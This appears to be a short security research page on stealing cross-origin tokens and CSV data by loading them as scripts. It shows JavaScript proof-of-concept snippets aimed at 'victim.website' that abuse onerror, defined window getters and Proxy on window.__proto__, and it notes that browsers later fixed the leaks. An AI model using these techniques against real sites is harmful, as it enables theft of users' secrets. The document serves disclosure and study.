In the old days, if someone served up a raw token , you could steal it like this:
JavaScript window .onerror = function (s ) { alert (s ); };
document .write ('<script src=/token/big><\/script>' );
Result
But then, browsers turned off error messages for scripts loaded across origins:
JavaScript window .onerror = function (s ) { alert (s ); };
document .write ('<script src=' +
'//victim.website/token/big><\/script>' );
Result
If the token was small, you could guess it by brute force:
JavaScript
for (var i =0xa00 ; i <= 0xfff ; i ++) {
var s = i .toString (16 );
Object .defineProperty (window , i .toString (16 ),
{ get :alert .bind (null , s ) });
}
document .write ('<script src=' +
'//victim.website/token/small><\/script>' );
Result
But then suddenly, fancy new Proxy magic (in Firefox, or Chrome with chrome://flags/#enable-javascript-harmony
)
JavaScript window .__proto __ = Proxy .create ({
getPropertyDescriptor : function (s ) {
alert ('Property access: ' +s )
}});
document .write ('<script src=' +
'//victim.website/token/big><\/script>' );
Result
That API was then replaced with a new API, but this time the leak was fixed:
JavaScript window .onerror = x => alert (x );
window .__proto __ = new Proxy ({}, {
get : s => alert ('Property access: ' +s )
});
document .write ('<script src=' +
'//victim.website/token/big><\/script>' );
Result
Not just tokens
As @avlidienbrunn points out, a fair fraction of CSV files will also be valid JavaScript after automatic semicolon insertion .
Input file
"User name",Name,Address
guest,Guest,Unknown
jd,"John Doe","123 Foo St"
bob,"Bob Rando","12345"
Property accesses seen parsing file
Name
Address
guest
Guest
Unkown
jd
bob
Updates
2015-12-17: Fixed in Chrome !
2014-12-06: Chrome has apparently removed proxy support entirely for now; Firefox will be doing something eventually.
2014-12-27: @rafaybaloch points out this Chrome bug report which is now public. Of note, Chrome respects X-Content-Type-Options
for JavaScript, but Firefox does not.